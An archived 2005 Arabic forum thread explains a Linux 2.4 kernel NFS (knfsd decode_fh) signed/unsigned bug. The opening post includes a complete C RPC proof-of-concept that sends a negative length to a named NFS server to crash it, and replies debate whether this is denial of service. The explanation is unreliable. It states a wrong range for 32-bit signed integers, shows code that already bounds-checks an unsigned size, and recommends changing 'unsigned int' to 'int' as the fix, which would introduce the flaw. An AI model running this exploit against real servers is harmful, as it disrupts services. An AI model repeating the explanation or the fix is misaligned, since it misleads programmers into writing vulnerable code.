الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

ثغرة unsigned في لينكس كيرنل linux-2.4

مغلق
بدأه JAAS في 15 سبتمبر 2005 · 14 رد · 2,785 مشاهدة · في مواضيع الأخ JAAS في الأسمبلي وتحليل التطبيقات البرمجية
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

مرحبا ,,,, بما اننا دخلنا في اكثر من نظام ...

سنتعرف في هذا الموضوع على طريقة برمجة مايعرف بالتحقق authentication لتبادل البيانات

بداية بالدول المستخدمة وطريقة التخاطب وفي النهاية شرح إكتشاف ثغرة وخطأ برمجي في احدى دوال RPC إختصار remote procedure calls

بداية الموضوع:

ماهو التحقق ؟ بإختصار هي طريقة او اسلوب حماية يستخدم بين جهاز العميل والجهاز السيرفر - او بين جهازين على الشبكة

وسنأخذ مثال على ذلك بروتوكول SSL/HTTPS والمنفذ الذي يستخدمة 443

عندما تدخل لصفحة يبدأ عنوانها ب https:// ويظهر في اسفل المتصفح صورة القفل ؟! معنى ذلك ان الموقع يستخدم بروتوكول SSL

هذا البروتوكول يستخدم التحقق authentication في إرسال البيانات ,, كيف

عندما نقول يستخدم التحقق في إرسال البيانات ,, معنى ذلك ان حزمة البيانات التي ترسل عبر الشبكة من خلال هذا البروتوكول

ستكون مختلفة عن اي حزمة بيانات اخرى من حيث تركيب وترتيب محتوى البيانات ؟!

بإختصار سيكون الترتيب بهذا الشكل :

1- حزمة بيانات مرسلة عبر الشبكة لا تستخدم التحقق ,, سيكون شكلها

- تروسية الحزمة - البيانات المرسلة

2- حزمة البيانات المرسلة عبر شبكة وتستخدم التحقق , سيكون شكلها

تروسية الحزمة - بلوك التحقق authentication - البيانات المرسلة

-------------

مايهمنا من كل هذا هو( بلوك التحقق authentication )

هذا البلوك يحمل بيانات التحقق ,قد تكون عنوان ip او إسم مستخدم او كوكيز...

أنظمة يونكس تقوم بتشفير هذة البيانات ,, نوع التشفير المستخدم DES

الآن , توجة إلى مسار الشفرة المصدرية لنظام لينكس , وبالتحديد

إلى الملف linux-2.4.2.*/fs/nfsd/nfs3xdr.c

وبعد ان تفتح ملف الشفرة ,, توجهة لدالة فك تشفير الأرقام وهي: decode_fh

ستجدها بهذا الشكل:

static inline u32*
   decode_fh(u32 *p, struct svc_fh *fhp)

{

unsigned int size;

fh_init(fhp, NFS3_FHSIZE);

size = ntohl(*p++);


if (size > NFS3_FHSIZE)

return NULL;


memcpy(&fhp->fh_handle.fh_base, p, size);

fhp->fh_handle.fh_size = size;
	return p + XDR_QUADLEN(size);

}

هذة الدالة بها خطأ برمجي وثغرة ؟!

بإختصار الثغرة في اول سطر unsigned int size

كيف ؟!!

خلونا نرجع لأساسيات لغة السي ,, ونعرف ماذا تعني المتغيرات

في نظام لينكس او اي نظام 32 بت مثل وندوز ,, يكون حجم مسجل المعالج يساوي 32بت

بمعنى المتغير من نوع رقم صحيح وهو int سيكون حجمة 32 بت يعني 4 بايت ,,

هذة ال 4 بايت لها شكلين في لغة السي

أولاً:

إما ان تكون رقم مؤشر مثل signed int

الرقم المؤشر إما ان يكون سالب او موجب ,, وبهذا ستكون 4 بايت لحجم المتغير int محصورة بين السالب 65535 والموجب 65535

لو حسبت الفرق بين العددين السالب والموجب السابقين ستكون بحجم ال 4 بايت

ثانياً:

العدد الغير مؤشر في لغة السي مثل unsigned int

إذا قمت بتعريف اي عدد على انة غير مؤشر ,, سيمثل اي عدد من 0 إلى 4294967295

//

وبعد هذة المقدمة ,, يجب ان نعرف القانون التالي:

إذا كان العدد الصحيح غير مؤشرunsigned int ,, لن يقبل اي عدد سالب وسيحدث خطأ في هذة الحال

وإذا كان العدد مؤشر signed سيقبل اي قيمة بين المجال ( السالب 65535 والموجب 65535 ) واي قيمة غير ذلك ستحدث خطأ

//

وبعد إكتشاف هذة الملاحظة ,,, تم إكتشاف إستغلال يمكن ان ينفذ الدالة السابقة ويمرر لها عدد سالب ( بمعنى مؤشر)

إلى الدالة السابقة التي تعالج فقط الأعداد الغير مؤشرة ( بمعنى الموجبة)

-

طريقة الإستغلال ,, عبارة عن برنامج يستخدم دوال التحقق للوصول إلى الدالة السابقة

#include <rpcsvc/nfs_prot.h>
#include <rpc/rpc.h>
#include <rpc/xdr.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>

#define NFSPROG 100003
#define NFSVERS 3
#define NFSPROC_GETATTR 1

static struct diropargs heh;

bool_t xdr_heh(XDR *xdrs, diropargs *heh) 
{
 int32_t werd = -1; 
 return xdr_int32_t(xdrs, &werd);
}

int main(void)
{
 CLIENT * client;
 struct timeval tv;

 client = clnt_create("marduk", NFSPROG, NFSVERS, "udp");

 if(client == NULL) {
     perror("clnt_create\n");
 }

 tv.tv_sec = 3;
 tv.tv_usec = 0;
 client->cl_auth = authunix_create_default();

 clnt_call(client, NFSPROC_GETATTR, (xdrproc_t) xdr_heh, (char *)&heh,
           (xdrproc_t) xdr_void, NULL, tv);

 return 0;
}

شرح الكود:

الدالة الأولى :

 client = clnt_create("marduk.com", NFSPROG, NFSVERS, "udp");

إنشاء مقبض لبرنامج المستخدم

للإتصال بالسيرفر marduk.com

البارمتر الثاني يمثل معرف البرنامج

البارمتر الثالث يمثل إصدار البرنامج

البارمتر الأخير يمثل البروتوكول المستخدم للإتصال مثل tcp و udp

-

الدالة الثانية:

client->cl_auth = authunix_create_default();

إنشاء مقبض التحقق لبرنامج المستخدم

وتلاحظ اننا استخدمنا الدالة التالية لأنظمة يونكس

authunix_create_default

والسبب لكي يكون البرنامج متوافق مع أغلب إصدارات لينكس ويونكس

لأن دالة إنشاء مقبض التحقق تختلف في إصدارات اليونكس

Sun 2.x( Solaris ) , FreeBSD, AIX ,HP,.....

الدالة الثالثة والأخيرة ,, وهي دالة الإتصال وتنفيذ بقية الدوال

clnt_call(client, NFSPROC_GETATTR, (xdrproc_t) xdr_heh, (char *)&heh,(xdrproc_t) xdr_void, NULL, tv);

//

كل الدوال السابقة كتبت فقط لتنفيذ هذا السطر

 int32_t werd = -1; 
 return xdr_int32_t(xdrs, &werd);

حيث ان الدالة xdr_int32_t هي الدالة المسؤلة عن تنفيذ دالة الخطأ ,, وتلاحظ تمرير عدد سالب للدالة ,, وهو محور حديثنا وسبب المشكلة

-

وفي النهاية ,, حل هذة المشكلة بسيط

وهو بتغيير المتغير unsigned int size إلى int size ,,,

-

وبالتوفيق للجميع

http://www.jaascois.com

*************************************************

مجموعة مواضيع - إحتراف البرمجة -

ّ~~~~~~~~~~~~~~~~~~~~~~

البرمجة المتقدمة & الهندسة العكسية & برمجة وأمن الأنظمة

/index.php?showtopic=45002

آخر المواضيع :

+- تحليل جرائم الكمبيوتر -+

أنظمة اليونكس(Solaris,HP, AIX,SCO)وانواع المعالجات

ثغرة SMS لأجهزة الجوال Siemens 3568i !

أخطاء وثغرات البرامج العربية !!!

سلسلة مواضيع - أمن وحماية مواقع الويب -

E البرمجة المتقدمة X للملفات التنفيذية E

سلسلة مواضيع ثغرات الأنظمة وإختراق الأجهزة

**************************************************

<span style='font-size:14pt;line-height:100%'>الإرادة تحـــقق السيـــادة</span>

**************************************************

#2

موضوع جميل ... وفقك الله

تم تعديل هذه المشاركة بواسطة Qnix في 16 سبتمبر 2005 في 00:58

#3

سؤال: ما الذي تم الحصول عليه باستغلال هذه الثغرة.. تجاوز الـ authentication؟

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#4

هذة المشكلة انة لم يتجاوز authentication ,,, لأن النظام يتوقف ويخرج من التحقق

-

http://www.jaascois.com

*************************************************

مجموعة مواضيع - إحتراف البرمجة -

ّ~~~~~~~~~~~~~~~~~~~~~~

البرمجة المتقدمة & الهندسة العكسية & برمجة وأمن الأنظمة

/index.php?showtopic=45002

آخر المواضيع :

+- تحليل جرائم الكمبيوتر -+

أنظمة اليونكس(Solaris,HP, AIX,SCO)وانواع المعالجات

ثغرة SMS لأجهزة الجوال Siemens 3568i !

أخطاء وثغرات البرامج العربية !!!

سلسلة مواضيع - أمن وحماية مواقع الويب -

E البرمجة المتقدمة X للملفات التنفيذية E

سلسلة مواضيع ثغرات الأنظمة وإختراق الأجهزة

**************************************************

<span style='font-size:14pt;line-height:100%'>الإرادة تحـــقق السيـــادة</span>

**************************************************

#5

اذن هي مجرد عمل overflow دون القدرة على تجاوز التحقق...

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#6

ثغرات المستقبل

ثغرات ال INTEGER overflow

ممتاز يا اخى jaas واهنيك من كل قلبى

#7

وايضا ملاحظه اخى jaas

مثلا اسم eslam لو تم تحويله الى الهيكس مثلا سيصبح 425467 فهنا تكمن الخطا فلو تم التغير فى اى رقم سيحدث فيض

كما حدث فى ثغره الماسنجر تم التلاعب فى خاصيه الالوان وحدث الفيض

#8

هذا النوع من الثغرات يسمى DoS

اقتباس
واهنيك من كل قلبى

اخي bigboss1988 لست انا من إكتشفها ... فقط اشرحها ,, لنفهم الأنواع المختلفه للأخطاء التي يقع فيها مبرمجي الأنظمة

http://www.jaascois.com

*************************************************

مجموعة مواضيع - إحتراف البرمجة -

ّ~~~~~~~~~~~~~~~~~~~~~~

البرمجة المتقدمة & الهندسة العكسية & برمجة وأمن الأنظمة

/index.php?showtopic=45002

آخر المواضيع :

+- تحليل جرائم الكمبيوتر -+

أنظمة اليونكس(Solaris,HP, AIX,SCO)وانواع المعالجات

ثغرة SMS لأجهزة الجوال Siemens 3568i !

أخطاء وثغرات البرامج العربية !!!

سلسلة مواضيع - أمن وحماية مواقع الويب -

E البرمجة المتقدمة X للملفات التنفيذية E

سلسلة مواضيع ثغرات الأنظمة وإختراق الأجهزة

**************************************************

<span style='font-size:14pt;line-height:100%'>الإرادة تحـــقق السيـــادة</span>

**************************************************

#9
JAAS كتب:
هذا النوع من الثغرات يسمى DoS

اكيد ولو Denial of Service (هجوم رفض الخدمة) :lol: :D

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#10

اخى jass

ليست بالتاكيد ثغره من نوع الDos فى بعض الاحيان يحدث الoverflow وهذه ثغره توكد كلامى فى مايكرسوفت

http://securityresponse.symantec.com/avcen...tent/12095.html

#11

هذا هو نص الثغرة

Linux 2.4.20 knfsd kernel signed/unsigned decode_fh DoS
 Author: jared stanbrough <jareds pdx edu>

راجع:

http://www.openwww.net/forum/index.php?showtopic=410

http://www.jaascois.com

*************************************************

مجموعة مواضيع - إحتراف البرمجة -

ّ~~~~~~~~~~~~~~~~~~~~~~

البرمجة المتقدمة & الهندسة العكسية & برمجة وأمن الأنظمة

/index.php?showtopic=45002

آخر المواضيع :

+- تحليل جرائم الكمبيوتر -+

أنظمة اليونكس(Solaris,HP, AIX,SCO)وانواع المعالجات

ثغرة SMS لأجهزة الجوال Siemens 3568i !

أخطاء وثغرات البرامج العربية !!!

سلسلة مواضيع - أمن وحماية مواقع الويب -

E البرمجة المتقدمة X للملفات التنفيذية E

سلسلة مواضيع ثغرات الأنظمة وإختراق الأجهزة

**************************************************

<span style='font-size:14pt;line-height:100%'>الإرادة تحـــقق السيـــادة</span>

**************************************************

#12

فى بعض الاحيان اخى jass يحدث overflow

http://www.phrack.org/show.php?p=60&a=10

هذا المقال للinteger overflow

#13

انا اللي بعرفه وتقريبا متاكد منه لانه حسب تصنيف CompTIA انه هجمات الـ DoS الها انواع.. buffer overflow attacks / SYN attacks / Teardrop attacks / Ping of death attacks / Smurf attacks / Land attacks وبالتالي هو هجوم DoS لانه بيعتمد على مفهوم الفيض او الطفحان.

والله اعلم

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

#14

اخى Xacker

عندما يتم استغلال ثغرات الbuffer overflow بوضع شيل كود لها لين يندرج تحت مسمى الDOS ولكن يتم ادراجه تحت مسمى الDOS

عندما لا يتم استغلالها كما فى ثغرت

القنوات الفضائيه

تم تعديل هذه المشاركة بواسطة bigboss1988 في 16 سبتمبر 2005 في 00:34

#15

اهمم.. ما فهمت.. بالفصحى؟ :)

Do as I say, not as I do

We are Anonymous. We are Legion. We don't forgive. We don't forget

هذا الموضوع مغلق.

مواضيع مشابهة